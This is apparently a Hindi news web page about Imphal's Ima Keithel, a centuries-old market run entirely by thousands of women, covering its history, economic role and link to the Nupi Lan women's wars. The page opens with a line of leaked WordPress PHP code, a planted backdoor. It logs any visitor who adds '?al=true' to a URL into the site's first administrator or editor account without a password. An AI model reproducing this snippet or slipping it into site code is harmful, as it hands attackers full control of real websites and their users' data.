// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); इंफाल का ‘इमा कीथल’: दुनिया का अनोखा महिला संचालित बाजार – प्रत्युषा आशा की नयी किरण
देश

इंफाल का ‘इमा कीथल’: दुनिया का अनोखा महिला संचालित बाजार

मणिपुर
मणिपुर पिछले कुछ वक्त से लगातार चर्चा में रहा है। लेकिन यहां की राजधानी इंफाल के एक बाजार के बारे में आप नहीं जानते होंगे। इस बाजार की सबसे बड़ी खासियत यह है कि यहां पर सभी दुकानें केवल महिलाएं ही रन करती हैं। इनकी संख्या भी कोई सौ-दो सौ नहीं है, बल्कि हजारों में है। यह महिलाएं, सब्जियों, मछली, मसालों, कपड़ों, हाथ से बने सामान, ज्वैलरी और घर के सामान की अन्य दुकानों पर बैठती हैं। यह सभी दुकानें सुबह-सुबह खुल जाती हैं और देर रात तक सामानों की खरीद-फरोख्त चलती रहती है।

इसे कहते हैं मां का बाजार
इस बाजार का नाम है, इमा कीथल। हिंदी में कहें तो मां का बाजार। माना जाता है कि यह सभी दुकानें 500 साल पुरानी हैं और एशिया में महिलाओं के सबसे बड़ी मार्केट के रूप में जानी जाती हैं। मणिपुर सरकार और विभिन्न ऐतिहासिक अध्ययनों में यह बात सामने आई है कि इस बाजार का इतिहास 16वीं सदी के राजा खागेम्बा से जुड़ा हुआ है। इतिहासकारों का मानना है कि बाजार का विकास आंशिक रूप से पुराने मणिपुरी ‘लल्लूप-कबा’ सिस्टम के चलते हुआ। इस सिस्टम में कई पुरुषों को समय-समय पर सेना में काम करने या जबरन मजदूरी के लिए भेजा जाता था। पुरुषों की गैरमौजूदगी में महिलाएं व्यापार और स्थानीय आर्थिक गतिविधियां चलाती थीं। समय के साथ, इस पर महिलाओं का ही पूरा नियंत्रण हो गया।

5000 से अधिक महिला विक्रेता
अनुमान के मुताबिक आज इंफाल के इस बाजार में 5,000 से अधिक महिला विक्रेता काम करती हैं। अलग-अलग रिपोर्ट्स के मुताबिक इस बाजार का मैनेजमेंट पूरी तरह से महिलाएं ही संभालती हैं। इनमें से कई परिवारों में पीढ़ियों से स्टॉल विरासत में मिले हैं। कई दुकानें तो ऐसी हैं, जिन्हें मां ने अपनी बेटियों को सौंप दिया है। इस तरह यह काम पीढ़ी-दर-पीढ़ी होता चला आ रहा है।

इकॉनमी के लिए भी अहम
लेकिन इमा कीथल महज एक टूरिस्ट स्पॉट या फिर कल्चरल साइट भर नहीं है। मणिपुर के लिए यह आर्थिक रूप से भी बेहद महत्वपूर्ण है। यह बाजार स्थानीय कृषि उत्पादों, मछली, हथकरघा कपड़े और पारंपरिक कारीगरी के लिए एक प्रमुख व्यापार केंद्र के रूप में कार्य करता है। विक्रेता अक्सर गांवों और पास के कृषि समुदायों से सीधे चीजें लेकर आते हैं। इससे बाजार क्षेत्र की ग्रामीण अर्थव्यवस्था से गहरे जुड़े हुए हैं।

युद्ध से भी कनेक्शन
इसे चलाने वाली महिलाएं ऐतिहासिक रूप से शक्तिशाली राजनीतिक और सामाजिक भूमिकाएं भी निभाती रही हैं। मणिपुरी महिला व्यापारियों ने मशहूर नूपी लान, या महिला युद्धों हिस्सा लिया था। यह युद्ध 1904 और 1939 के दौरान हुए थे, जब महिलाओं ने ब्रिटिश औपनिवेशिक नीतियों और आर्थिक शोषण का विरोध किया। इसलिए बाजार न केवल एक कॉमर्शियल हब के तौर पर विकसित हुआ बल्कि सामूहिक राजनीतिक सक्रियता के लिए भी जाना गया।

RO No. 13169/ 31

RO No. 13098/ 20

PRATYUSHAASHAKINAYIKIRAN.COM
Editor : Maya Puranik
Permanent Address : Yadu kirana store ke pass Parshuram nagar professor colony raipur cg
Email : puranikrajesh2008@gmail.com
Mobile : -91-9893051148
Website : pratyushaashakinayikiran.com

जनसम्पर्क विभाग – आरएसएस फीड